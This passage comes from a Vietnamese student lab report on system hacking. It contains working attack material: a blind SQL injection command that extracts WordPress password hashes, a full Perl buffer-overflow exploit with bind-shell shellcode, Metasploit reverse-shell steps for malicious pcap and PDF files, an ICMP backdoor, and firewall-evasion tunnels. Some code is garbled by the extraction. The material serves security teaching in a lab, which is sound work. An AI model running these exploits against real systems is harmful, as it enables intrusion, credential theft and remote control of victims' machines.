từ column user_login, user_pass từ wp_users D:bsqlbf>bsqlbf-v2-7.pl -url "http://192.168.1.100/wordpress/wp- admin/edittags.php?taxonomy=link_category&orderby=10" -blind orderby -sql "select concat(user_login,'//',user_pass) from wp_users limit 1" -match "Blogroll" -type 2 -database 1 –cookie "wordpress_26033f6e23cd6a3c2b7b304d151778a3=Athena+Test%7C1337 529257%7Ca1ed46cc2ed3e3209c48e79f59b62316" Extract username và password của user thứ 2 từ column user_login, user_pass từ wp_users D:bsqlbf>bsqlbf-v2-7.pl -url "http://192.168.1.100/wordpress/wp- admin/edittags.php?taxonomy=link_category&orderby=10" -blind orderby
  • 69.
    Đề Tài :SysTem Hacking 62 S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng -sql "select concat_ws(0x7c,user_login,user_pass) from wp_users limit 1,2" -match "Blogroll" -type 2 -database 1 – cookie"wordpress_26033f6e23cd6a3c2b7b304d151778a3=Athena+Test%7 C1337529257%7Ca1ed46cc2ed3e3209c48e79f59b62316"
  • 70.
    Đề Tài :SysTem Hacking 63 S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng Chƣơng 10 : Buffer Overflow 10.1 Single Buffer Overflow Lab Ta sẽ tạo ra 1 đoạn code bị lỗi buffer overflow. Sau đó truyền vào với dữ liệu vào trong biến nhiều hơn mức ta đã khai báo dẫn đến chương trình bị lỗi buffer overflow và ta có thể thực thi được đoạn các dòng lệnh. Quá trình thực hiện tại một PC linux. Các bƣớc thực hiện: o Source code chương trình và lưu lại thành file có tên là dangerous_system_command.c #include <stdio.h> main() { char *name; char *dangerours_system_command; name = (char *) malloc(10); dangerours_system_command = (char *)malloc(128); printf("Address of name is %dn", name); printf("Address of command is %dn", dangerours_system_command); sprintf(dangerours_system_command, "echo %s", "Hello world!"); printf("What's your name?"); gets(name); system(dangerours_system_command); } o Biên dịch chương trình #gcc ./dangerous_system_command.c -o dangerous_system_command
  • 71.
    Đề Tài :SysTem Hacking 64 S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng 10.1.1 Thực thi chƣơng trình Biến “name” được tính tổng cộng là 16 byte, bao gồm 10 byte do ta gán, cộng thêm 6 byte của hệ thống. Khi ta nạp vào hệ thống các ký tự có số lượng lớn hơn 16 byte thì ta có thểthực thi được các lệnh ở sau 16 byte đó. Ví dụ ta có thể thực thi được các lệnh sau để kiểm tra 1234567890123456cat /etc/passwd 1234567890123456cat /etc/shadow 1234567890123456/bin/sh 10.2 Kioptrix level 1 mod_ssl Kioptrix là một hệ điều hành được tạo ra với mục đích sử dụng để học tấn công. Kioptrix level 1 có lỗi buffer overflow trong module SSL của server web server Apache. Sơ đồ : Các bƣớc thực hiện : o Scan nmap xác định các host đang có trong đường mạng bằng câu lệnh “nmap –sP 192.168.1.1/24”. Ta xác định máy ta đang cần tấn công ở IP 192.168.1.238 như hình bên dưới o Tiếp tục ta thực hiện quá trình scan chi tiết các thông số của IP 192.168.1.238 bằng câu lệnh “nmap –sS –sV –O 192.168.1.238 ” o Ta thử scan lỗi ứng dụng web bằng công cụ nikto có sẵn trong Backtrack với câu lệnh “./nikto.pl -host 192.168.1.238 -Display 124” o Ta thu được kết quả scan lỗi như hình bên dưới. Và bước kế tiếp ta sẽkhai thác lỗi “+ mod_ssl/2.8.4 - mod_ssl 2.8.7 and lower are vulnerable to a remote buffer overflow which may allow a remote shell (difficult to exploit). CVE-2002-0082, OSVDB-756.” o Ta sẽ tìm cách khai thác lỗi trong trang exploit-db.com. Để tìm code khai thác, ta có thể install thêm add on exploit-db search vào firefox
  • 72.
    Đề Tài :SysTem Hacking 65 S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng o Tiếp tục ta sẽ search từ khóa openssl trong exploit-db và sử dụng code OpenFuck V2.c o Tiếp tục ta sẽ đi vào trang shared code exploit. Ta có thể vào trực tiếp với đường link http://www.exploit-db.com/exploits/764/ o Cài đặt thêm gói “libssl-dev” để Backtrack 5 có đầy đủ thư viện ssl dùng trong quá trình biên dịch o Ta biên dịch chương trình chương trình bằng câu lệnh “gcc openfuck.c –o openfuck –lcrypto ”. Tuy nhiên khi biên dịch chương trình sẽ bị lỗi ta sẽthêm vào thư viện trong chương trình.  Mở chương trình lên bằng câu lệnh “vim openfuck.c”  Đi đến dòng 19, Copy, Paste 2 lần  Thay đổi 2 dòng đó như sau #include <openssl/rc4.h> #include <openssl/md5.h>  Đi đến dòng thứ 624 ta sẽ thấy chương trình sẽ download ptracekmod.c từ trang packetstormsecurity.nl . Ta sẽ tìm chương trình này trên google, đi vào trang http://downloads.securityfocus.com/vulnerabilities/exploits/ptracekmod. c , copy file này về máy.  Thay thế đường dẫn download packetstormsecurity.nl bằng IP của Apache Server trên máy Back Track 5 là 192.168.1.237.Hoặc ta có thểsử dụng trực tiếp đường link http://downloads.securityfocus.com/vulnerabilities/exploits/ptracekmod. c o Ta biên dịch lại chương trình, chạy kiểm tra file đã biên dịch. Ta tấn công vào máy victim với IP 172.16.34.62, mã code 0x6b đại diện cho Red Hat Linux 10.3 Buffer Overflow Wireshark 1.4.4 Tấn công buffer overflow chương trình wireshark với version nhỏ hơn phiên bản 1.4.4. Tại máy victim ( Window XP ) ta sẽ cài đặt chương trình wireshark với phiên bản 1.4.3. Tại máy attacker ( Back track 5 ) ta sử dụng Metasploit để khai thác lỗi chương trình. Mô hình :
  • 73.
    Đề Tài :SysTem Hacking 66 S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng Các bƣớc thực hiện : o Chuẩn bị 1 file .pcap malicious  Ta sử dụng metasploit để tạo ra file .pcap độc hại. Vào giao diện console ta chọn dạng tấn công là “exploit/windows/fileformat/wireshark_packet_dect”  Ta chọn phương thức payload là “reverse_tcp” và gán các thông sốLHOST, LPORT, FILENAME  Nhập vào câu lệnh “exploit” thì chương trình sẽ tạo ra file passwords.pcap tại vị trí “/root/.msf4/local”  Ta copy file này ra Desktop để dễ dàng cho quá trình thao tác o Cấu hình Metasploit quản lý kết nối .  Ta sẽ sử dụng tính năng “multi/handler” với các giá trị LHOST và LPORT tương ứng với các port ta đã định nghĩa ở trên  Tại máy victim mở file passwords.pcap  Attacker thực hiện phương án phát tán file passwords.pcap đến máy victim  Tại máy victim mở file passwords.pcap bằng chương trình Wireshark 1.4.3  Tại máy attacker ta sẽ thấy xuất hiện 1 Meterpreter Sessions 10.4 Vulnserver Vulnserver là một chương trình bị lỗi buffer overflow. Ta sẽ thực hiện các bước kiểm tra lỗi, xác định địa chỉ EIP, ESP, chèn shellcode để khai thác lỗi chương trình. Mô hình :
  • 74.
    Đề Tài :SysTem Hacking 67 S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng Các bước thực hiện : o Bước 1: Xác định chương trình bị lỗi buffer overflow. Trong bài lab này ta sửdụng chương trình vulnserver, ta start chương trình trong máy Window XP  Từ máy Backtrack 5 ta thử telnet đến IP của Window XP ở port 9999. Nhập vào từ “HELP” để kiểm tra các tính năng có trong chương trìnhCó khá nhiều cách để xác định chương trình có bị lỗi buffer overflow. Trong  Backtrack 5 ta có thể sử dụng SPIKE, chương trình này được sử dụng để gửi data liên tục đến các tính năng của chương trình. Đường dẫn đến chương trình SPIKE trong Backtrack 5 “/pentest/fuzzers/spike/src”, sử dụng chươngtrình ./generic_send_tcp . Ta thử start chương trình  Để hoạt động ta phải viết scripts có file mở rộng là *.spk để kết nối vào các function trong chương trình. Ví dụ ta kết nối vào function STATS của chương trình với scripts như sau root@bt:~# nano ~/stat.spk s_readline(); s_string(“STATS ”); s_string_variable(“COMMAND”);  Tiếp tục ta sử dụng generic_send_tcp đọc file scripts để gửi data đến chương trình với câu lệnh như sau “./generic_send_tcp 192.168.100.113 9999 ~/stat.spk 0 0” . Ta thấy chương trình không bị lỗi.  Tiếp tục ta thử tính năng TRUN. Viết lại một script mới có nội dung như bên dưới và sử dụng generic_send_tcp tạo kết nối đến chương trình vulnserverroot@bt:~# nano ~/trunk.spk s_readline(); s_string(“TRUN ”); s_string_variable(“COMMAND”);
  • 75.
    Đề Tài :SysTem Hacking 68 S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng  Hoặc đơn giản hơn ta thực thi đoạn perl script để gửi data với kích thước do ta xác định như sau #!/usr/bin/perl use IO::Socket; if($ARGV[1] eq '') { die("Usage: $0 ipaddress port nn"); } $baddata="TRUN ."; $baddata.="A"x $ARGV[2]; $socket=IO::Socket::INET->new( Proto=> "tcp", PeerAddr=>"$ARGV[0]", PeerPort=>"$ARGV[1]" )or die"Can not connect to $ARGV[0]:$ARGV[1]"; $socket->recv($serverdata,1024); print"$serverdata"; $socket->send($baddata); o Bước 2: sử dụng perl script thử kết nối đến máy victim XP có IP 192.168.1.103/24 và gửi 5000 bytes dữ liệu thì chương trình bị crash.  Tiếp tục ta thử với 2000 byte dữ liệu thì chương trình không bị crash  Kiểm tra với 3000 byte dữ liệu thì chương trình bị crash  Như vậy trong khoảng 2000 – 3000 byte thì chương trình bị crash. o Bước 3: Sau khi xác định được ứng dụng đó bị lỗi stack overflow ta sẽ thực hiện các bước sau:  Tìm kiếm 4 byte bên trong data gửi. Nó được sử dụng đểoverwrite return address. Vì vậy ta có thể thiết lập EIP đến một giá trị đã được chọn.
  • 76.
    Đề Tài :SysTem Hacking 69 S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng  Tìm kiếm code mà ta muốn thực thi. Ta có thể sử dụng code có sẵn trong hệ thống hoặc thêm vào code của mình. Ở đây ta sửmsfpayload kết hợp msfencode để tạo ra code.  Tìm kiếm cách điều khiển EIP để code hoạt động theo ý mình mong muốn. Bởi vì giá trị EIP sẽ bị overwrite với 1 giá trị đã được lập trình trước. Ta không thể đoán được chính xác địa chỉ trong vùng nhớ mà code chương trình thực thi. Ta sẽ thử tìm kiếm nhiều lần để xác định giá trị vùng nhớ.  Ta sẽ xác định chính xác bytes bằng cách sử dụng chuỗi “A” để overwrite return address. o Bước 4: Tìm kiếm địa chỉ overwrite. Có nhiều cách để xác định số byte chính xác mà chương trình sẽ bị lỗi. Ta có thể sử dụng pattern_create.rb và pattern_offset.rb có trong metasploit. Pattern_create.rb được sử dụng đểsinh ra các chuỗi từ theo A-Z, a-z, 0-9 với độ dài ta xác định. Pattern_offset.rb được sử dụng xác định chuyển đổi giá trị EIP thành sốlượng byte mà chương trình sẽ bị crash.  Ta sử dụng Pattern_create.rb để tạo ra 3000 byte dữ liệu. Sau đó sử dụng chuỗi sinh ra trên màn hình làm data gửi đến chương trình. Copy đoạn chuỗi vào perl script để gửi data. #!/usr/bin/perl use IO::Socket; if($ARGV[1] eq '') { die("Usage: $0 ipaddress port nn"); } $baddata="TRUN ."; $baddata.="Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2A b3Ab4ABs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6 Bt7Bt8Bt9Bu0Bu9……….."; $socket=IO::Socket::INET->new( Proto=> "tcp", PeerAddr=>"$ARGV[0]", PeerPort=>"$ARGV[1]"
  • 77.
    Đề Tài :SysTem Hacking 70 S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng )or die"Can not connect to $ARGV[0]:$ARGV[1]"; $socket->recv($serverdata,1024); print"$serverdata"; $socket->send($baddata);  Ở máy XP sử dụng chương trình Ollydbg để mở chương trình vulnserver. Backtrack 5 thực hiện gửi 3000 byte dữ liệu đến máy XP. Sau đó tìm kiếm giá trị EIP khi chương trình bị crash ( ở bảng Register (FPU) ) Giá trị EIP 396F4338  Ta chuyển đổi xem ứng với giá trị EIP 396F4338 thì tương ứng với bao nhiêu  byte. Sử dụng công cụ pattern_offset.rb để convert EIP 396F4338 thì tương ứng 2006 bytes.  Giả sử số 2006 byte là con số có thể overwrite EIP, ta có thể kiểm tra bằng cách gửi 2006 ký tự là chữ A, sau đó là 4 byte ký tự chữ B, còn lại là ký tựchữ C. Ta thực thi perl script sau #!/usr/bin/perl use IO::Socket; if($ARGV[1] eq '') { die("Usage: $0 ipaddress port nn"); } $baddata="TRUN ."; $baddata.="A"x 2006; $baddata.="B"x 4; $baddata.="C"x (3000 - length($baddata)); $socket=IO::Socket::INET->new( Proto=> "tcp", PeerAddr=>"$ARGV[0]", PeerPort=>"$ARGV[1]"
  • 78.
    Đề Tài :SysTem Hacking 71 S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng )or die"Can not connect to $ARGV[0]:$ARGV[1]"; $socket->recv($serverdata,1024); print"$serverdata"; $socket->send($baddata); =>Như vậy ta đã overwrite được EIP với giá trị 42424242 o Bước 5: Xác định vị trị đặt mã độc. Dựa trên kết quả trên màn hình ollydbg thì ta đã chèn vào trong chương trình hàng loạt ký tự C . Đây chính là vị trí đểta đặt code thực thi mã độc. Ta sử dụng công cụ mspayload kết hợp msfencode để sinh ra code và thay thế các ký tự C bằng mã độc này.root@bt ~# msfpayload windows/shell_bind_tcp LPORT=4444 R | msfencode -b x00x0Ax0D -t perl xbax18x31x19xb2xdbxdaxd9x74x24xf4x5bx33xc9" ."xb1x56x31x53x13x83xebxfcx03x53x17xd3xecx4e" ."xcfx9ax0fxafx0fxfdx86x4ax3ex2fxfcx1fx12xff" ."x76x4dx9ex74xdax66x15xf8xf3x89x9exb7x25xa7" ."x1fx76xeax6bxe3x18x96x71x37xfbxa7xb9x4axfa" ."xe0xa4xa4xaexb9xa3x16x5fxcdxf6xaax5ex01x7d" ."x92x18x24x42x66x93x27x93xd6xa8x60x0bx5dxf6" ."x50x2axb2xe4xadx65xbfxdfx46x74x69x2exa6x46" ."x55xfdx99x66x58xffxdex41x82x8ax14xb2x3fx8d" ."xeexc8x9bx18xf3x6bx68xbaxd7x8axbdx5dx93x81" ."x0ax29xfbx85x8dxfex77xb1x06x01x58x33x5cx26" ."x7cx1fx07x47x25xc5xe6x78x35xa1x57xddx3dx40" ."x8cx67x1cx0dx61x5ax9fxcdxedxedxecxffxb2x45" ."x7bx4cx3bx40x7cxb3x16x34x12x4ax98x45x3ax89" ."xccx15x54x38x6cxfexa4xc5xb9x51xf5x69x11x12" ."xa5xc9xc1xfaxafxc5x3ex1axd0x0fx49x1cx1ex6b"."x1axcbx6 3x8bx8dxdcxedx6dxc7xf2xbbx26x7fx31" ."x98xfex18x4axcax52xb1xdcx42xbdx05xe2x52xeb" ."x26x4fxfax7cxbcx83x3fx9cxc3x89x17xd7xfcx5a" ."xedx89x4fxfaxf2x83x27x9fx61x48xb7xd6x99xc7" ."xe0xbfx6cx1ex64x52xd6x88x9axafx8exf3x1ex74" ."x73xfdx9fxf9xcfxd9x8fxc7xd0x65xfbx97x86x33" . "x55x5ex71xf2x0fx08x2ex5cxc7xcdx1cx5fx91xd1" ."x48x29x7dx63x25x6cx82x4cxa1x78xfbxb0x51x86" ."xd6x70x61xcdx7axd0xeax88xefx60x77x2bxdaxa7"
  • 79.
    Đề Tài :SysTem Hacking 72 S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng ."x8exa8xeex57x75xb0x9bx52x31x76x70x2fx2ax13" ."x76x9cx4bx36 o Bước 6: Chuyển hướng chương trình thực thi mã độc. Theo lý thuyết nếu như ta đã xác định chính xác địa chỉ stack, tại địa chỉ này được sử dụng đểlưu trữ code thực thi mã độc, thì ta đơn giản overwrite EIP address để thực thi code. Tuy nhiên trong Window thì việc này không dễ dàng. Ta sẽ sử dụng chương trình Ollydbg để hỗ trợ cho ta việc này. Các việc ta cần phải làm là thay thế các ký tự “C” bằng mã độc. Thay thế ký tự B ( được sử dụng đểoverwrite EIP ) bằng “JMP ESP” instruction . Như vậy CPU sẽ thực thi “JMP ESP” được sử dụng để sau đó chuyển hướng thực thi mã độc. “ JMP ESP ” được lưu trữ trên bộ nhớ và kết nối vào ESP register  Các bước tìm ESP register address. Window XP, sử dụng Ollydbg mởvulnserver. Tại máy Backtrack 5 thực hiện gửi lại 2006 Byte chữ A, 4 Byte chữ B và phần còn lại là chữ C đến máy Window XP. Ta có được màn hình như sau Tiếp tục ta chọn View, chọn Execute Module Double Click vào dòng có chữ essfunc.dll và search “JMP ESP” Giá trị ESP 625011AF o Bước 7: Perl Script để khai thác lỗi chương trình.Thông qua các thông số thu thập được ở trên, ta sẽ có script khai thác: #!/usr/bin/perl use IO::Socket; if($ARGV[1] eq '') { die("Usage: $0 ipaddress port nn"); } $baddata="TRUN ."; $baddata.="A"x 2006; $baddata.=pack('V',0x625011AF); $baddata.="x90" x 16; $baddata.="xbax18x31x19xb2xdbxdaxd9x74x24xf4x5bx33x c9" . "xb1x56x31x53x13x83xebxfcx03x53x17xd3xecx4e" .
  • 80.
    Đề Tài :SysTem Hacking 73 S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng "xcfx9ax0fxafx0fxfdx86x4ax3ex2fxfcx1fx12xff" . "x76x4dx9ex74xdax66x15xf8xf3x89x9exb7x25xa7" . "x1fx76xeax6bxe3x18x96x71x37xfbxa7xb9x4axfa" . "xe0xa4xa4xaexb9xa3x16x5fxcdxf6xaax5ex01x7d" . "x92x18x24x42x66x93x27x93xd6xa8x60x0bx5dxf6" . "x50x2axb2xe4xadx65xbfxdfx46x74x69x2exa6x46" . "x55xfdx99x66x58xffxdex41x82x8ax14xb2x3fx8d" . "xeexc8x9bx18xf3x6bx68xbaxd7x8axbdx5dx93x81" . "x0ax29xfbx85x8dxfex77xb1x06x01x58x33x5cx26" . "x7cx1fx07x47x25xc5xe6x78x35xa1x57xddx3dx40" . "x8cx67x1cx0dx61x5ax9fxcdxedxedxecxffxb2x45" . "x7bx4cx3bx40x7cxb3x16x34x12x4ax98x45x3ax89" . "xccx15x54x38x6cxfexa4xc5xb9x51xf5x69x11x12" . "xa5xc9xc1xfaxafxc5x3ex1axd0x0fx49x1cx1ex6b" . "x1axcbx63x8bx8dxdcxedx6dxc7xf2xbbx26x7fx31" . "x98xfex18x4axcax52xb1xdcx42xbdx05xe2x52xeb" . "x26x4fxfax7cxbcx83x3fx9cxc3x89x17xd7xfcx5a" . "xedx89x4fxfaxf2x83x27x9fx61x48xb7xd6x99xc7" . "xe0xbfx6cx1ex64x52xd6x88x9axafx8exf3x1ex74" . "x73xfdx9fxf9xcfxd9x8fxc7xd0x65xfbx97x86x33" . "x55x5ex71xf2x0fx08x2ex5cxc7xcdx1cx5fx91xd1" . "x48x29x7dx63x25x6cx82x4cxa1x78xfbxb0x51x86" . "xd6x70x61xcdx7axd0xeax88xefx60x77x2bxdaxa7" . "x8exa8xeex57x75xb0x9bx52x31x76x70x2fx2ax13" . "x76x9cx4bx36"; $socket=IO::Socket::INET->new(
  • 81.
    Đề Tài :SysTem Hacking 74 S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng Proto=> "tcp", PeerAddr=>"$ARGV[0]", PeerPort=>"$ARGV[1]" )or die"Can not connect to $ARGV[0]:$ARGV[1]"; $socket->recv($serverdata,1024); print"$serverdata"; $socket->send($baddata);  Sau khi thực thi script thì máy victim sẽ mở port 4567. Ta có thể telnet vào máy Window XP ở port 4567.
  • 82.
    Đề Tài :SysTem Hacking 75 S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng Chƣơng 11 : Evade IDS Firewall 11.1 Reverse ICMP Backdoor Thông thường giao thức ICMP thường được sử dụng để kiểm tra đường truyền. Nếu như một firewall cho phép ICMP hoạt động thì attacker có thể lợi dụng đường này để điều khiển máy attacker. Sơ đồ : Các bƣớc thực hiện: o Bước 1: Sử dụng một máy Linux làm master. Máy Linux có IP là 192.168.1.100  Tại máy Linux ta cần install thêm thư viện Python Impacket library để hoạt động được chương trình. Ta có thể download tại đường link http://oss.coresecurity.com/projects/impacket.html root@nhanld-virtual-machine:/home/nhanld/Desktop# tar xvf Impacket- 0.9.6.0.tar.gz root@nhanld-virtual-machine:/home/nhanld/Desktop# cd Impacket- 0.9.6.0 root@nhanld-virtual-machine:/home/nhanld/Desktop/Impacket- 0.9.6.0#python ./setup.py install  Để chương trình hoạt động tốt ta sẽ disable ICMP Rely trong kernel Linux root@nhanld-virtual-machine:/home/nhanld/Desktop# sysctl -w net.ipv4.icmp_echo_ignore_all=1 o Bước 2: Khởi động ICMP master tại máy Linux bằng câu lệnh “python icmpsh_m.py 192.168.1.100 192.168.1.10” với IP 192.168.1.100 là IP master (Linux), 192.168.1.10 (Window) là IP PC Slave
  • 83.
    Đề Tài :SysTem Hacking 76 S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng o Bước 3: Tại máy Window XP đóng vai trò là Slave sẽ kết nối đến ICMP Master. -t : kết nối đến host master -d: độ trễ request là 500 miliseconds -b: maximum kết nối -s: maximum data trong buffer size o Bước 4: Tại máy Linux Master sẽ có được giao diện dòng lệnh đều khiển máy Window XP 11.2 SSH Tunnel Giao thức SSH (TCP/22) thường được sử dụng để quản trị các máy chủ linux. Các rule firewall cũng thường cho phép giao thức SSH. Nhưng SSH mặc định cho phép truyền một giao thức khác bên trong ssh tunnel của nó. Các attacker có thể lợi dụng việc này để vượt qua firewall. Mô hình luận lý :
  • 84.
    Đề Tài :SysTem Hacking 77 S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng Các bƣớc thực hiện : o Bước 1:Ở bài lab này ta sẽ sử dụng một máy Linux đóng vai trò làm SSH Server. Một máy PC đóng vai trò làm Client. Ta sẽ thử login vào một host nào đó đểkiểm tra quá trình kết nối.Tại SSH Server ta cấu hình IP là 192.168.100.117/24 và default gateway là 192.168.100.254. Sau khi cấu hình xong ta kiểm tra các thông số o Bước 2: Tại máy client ta sẽ sử dụng chương trình Putty để login. Sau đó cấu hình tính năng Port forwarding o Bước 3: Ta chọn vào mục Tunnel, Check vào nút Auto và Dynamic. Tại Source Port, ta nhập vào port bất kỳ. Ở đây ta nhập vào port là 9090 .Click Add và login vào SSH Server o Bước 4: Kiểm tra trạng thái kết nối tại máy PC bằng câu lệnh netstat –ano. Tiếp tục ta sẽ thấy rằng máy tính đang Listen ở port 9090 ứng với IP localhost o Bước 5: Cấu hình sử dụng Proxy Sock 5 tại trình duyệt Web hoặc ta có thể cấu hình Yahoo Messenger sử dụng làm Proxy o Bước 6: Nếu như ta sử dụng giao diện dòng lệnh của linux, ta có thể sử dụng câu lệnh bên dưới [nhanld@linux ~]$ sudo ssh -L 127.0.0.1:40000:192.168.200.99:3389 root@192.168.200.199 [nhanld@linux ~]$ sudo rdesktop -f -u nhanld -p password 127.0.0.1:40000 o Bước 7: Nếu Sử dụng Bitvise Tunnel, đầu tiên ta cấu hình tạo kết nối SSH đển SSH Server  Tiếp tục ta cấu hình Port Forwarding trên Bitvise Tunnel  Cuối cùng, ta dùng câu lệnh mstsc /v:127.0.0.1:5000 để kết nối đến máy Window o Bước 8: Nếu như ta thực hiện trên công cụ SecureCRT Ta chọn options, chọn session options  Ta chọn tính năng port forwarding và click nút Add  Cuối cùng, ta dùng câu lệnh mstsc /v:127.0.0.1:6000 để kết nối đến máy Window192.168.2.99
  • 85.
    Đề Tài :SysTem Hacking 78 S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng 11.3 Stunnel Ta sử dụng chương trình stunnel để tạo ra một SSL Tunnel giữa máy Window và Linux. Máy Window đóng vai trò là Stunnel Server và máy linux ( Backtrack 5 ) đóng vai trò là Stunnel client. Sau khi thiết lập được kết nối stunnel ta sẽtruyền một giao thức khác hoạt động bên trong stunnel. Mô hình : Các bƣớc thực hiện: o Chuẩn bị các kết nối theo thông số ví dụ bên dưới  Máy Win XP ( 192.168.100.1) làm Stunnel Server  Máy Backtrack 5 ( 192.168.100.2 ) là Stunnel Client  Sử dụng netcat gửi traffic trong Stunnel o Cấu hình tại Window XP đóng vai trò là Stunnel Server  Install các software cần thiết cho XP  Nếu như Stunnel không tạo ra Certificate thì ta sử dụng lệnh bên dưới để tạo Certificate . sử dụng giao diện dòng lệnh của OpenSSLOpenssl req-x 509 -nodes -days 3650 -newkey rsa:2048 -keyout stunnel.pem - out stunnle.pem o Thay đổi thông số file stunnel.conf . ghi thêm vào trong cấu hình server  Accept : port chương trình Stunnel hoat động ở port 1234  Connect : port của chương trình hoạt động thông qua Stunnel .  Giả sử ta đang sử dụng netcat hoạt động ở port 5678  Kích hoạt stunnel hoạt động: chuột phải vào Stunnel và chọn Reload  stunnel.conf  Kiểm tra port đang listen ở Stunnel server bằng câu lệnh “ netstat –bano | find “1234” “  Khởi động netcat listen ở port 5678 o Cấu hình Stunnel Client mode trên máy Backtrack5. Ta chuyển đến vị trí “ /usr/local/etc/stunnel ” và chuyển tên file lại thành stunnel.conf o Cấu hình tạo Certificate bằng câu lệnh openssl như hình bên dưới.
  • 86.
    Đề Tài :SysTem Hacking 79 S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng o Cấu hình file stunnel.conf  Thay đổi các giá tri trong file stunnel.conf ; Certificate/key is needed in server mode and optional in client mode cert = /usr/local/etc/stunnel/stunnel.pem sslversion = TLSv1 ;SSL client mode client = yes # thêm vào giá trị Connect : Kết nối đến máy IP máy win XP Stunnel server mode ở port1234 Accept : Port chương trình netcat sẽ kết nối ở localhost ở port 5678 o Kích hoạt Stunnel Win XP ta thấy kết nối từ máy 192.168.100.2
  • 87.
    Đề Tài :SysTem Hacking 80 S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng Chƣơng 12 : Hƣớng dẫn tấn công máy victim bằng file pdf 12.1 Hƣớng dẫn tấn công Gõ lệnh msfconsole để khởi động metaploit Vì đây là lỗi trong mang LAN nên yêu cầu ip máy backtrack phải cùng lớp với IP máy victim Gõ lệnh ifconfig để xem IP
  • 88.
    Đề Tài :SysTem Hacking 81 S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng Ta dùng lệnh ipconfig để xem IP máy victim Sau đó ping địa chỉ IP máy backtrack xem nó thấy nhay hay không Sau khi metaploit khởi động xong , gõ tiếp câu lệnh : Use exploit/windows/fileformat/adobe_pdf_embedded_exe ( để chọn lỗi mà ta sẽ dùng để tấn công ) Gõ tiếp : show options
  • 89.
    Đề Tài :SysTem Hacking 82 S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng Sau khi show options , nó sẽ đưa ra các thông tin về lỗi mà chúng ta dùng Set filename : nghĩa là đặt tên cho file chứa mã đọc Set infilename : chuyển đổi từ file pdf mà chúng ta chuẩn bị từ trước Set payload : kiểu tấn công Set Lhost : gõ ip máy mình vào ( ở đây là 192.168.183.128 ) Dùng lệnh exploit để thực thi
  • 90.
    Đề Tài :SysTem Hacking 83 S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng cp /root/.msf4/local/hack.pdf /root/Desktop : câu lệnh này sẽ tạo ra 1 file pdf chứa mã đọc có tên là hack.pdf , và nó được đặt ngay ngoài Desktop use exploit/multi/handler : tạo 1 phiên lắng nghe Set lại lhost ( với IP giống IP mà chúng ta sét ở trên ) rồi sau đó exploit là xong Chỉ cần gửi file chứa mã đọc đến máy nạn nhân , khi nạn nhân mở file nó sẽ yêu cầu save lại , rồi hỏi có muốn open hay ko , chỉ cần nhấn open thì máy sẽ bị tấn công
  • 91.
    Đề Tài :SysTem Hacking 84 S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng Máy backtrack đã xâm nhập thành công , và nó gửi 1 file ( 752128 byte ) đến máy victim Ta dùng lệnh : cd C:/ ( lệnh này sẽ di chuyển đến ổ C của máy victim ) Dùng lệnh : ls ( liệt kê tất cả các tập tin trong ổ C )
  • 92.
    Đề Tài :SysTem Hacking 85 S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng Trên máy victim ta vào ổ C tạo 1 file tên taikhoan.txt ( nội dung trong file là id : tho pass:123456 ) Trên máy backtrack dùng lệnh ls để liệt kê lại thì thấy file taikhoan.txt Dùng lệnh : download C:/taikhoan.txt /root/Desktop/ ( câu lệnh này sẽ download file taikhoan.txt từ ổ C của máy victim và đặt trên Desktop của chúng ta )
  • 93.
    Đề Tài :SysTem Hacking 86 S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng 12.2 Cách phòng chống Tải phần mêm sandbox về máy Sau đó ta tiến hành cài đặt , và đây là giao diện của phần mềm sandbox
  • 94.
    Đề Tài :SysTem Hacking 87 S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng Nếu bạn nghi ngờ file nào không đáng tin cậy thì bạn bỏ vào trong , ở đây ta sẽ chạy file hack.pdf khi nãy Ở đây chỉ mở file hack.pdf , nhưng nó đã tự động mở thêm 1 số cái khác Máy backtrack vẫn xâm nhập vào máy victim bình thường Dùng lệnh : cd C:/ ( để di chuyển đến ổ C của máy victim ) Sau đó thử dùng lệnh : upload /root/Desktop/file.pdf C:/ ( ta sẽ send 1 file có tên file.pdf đến máy victim )
  • 95.
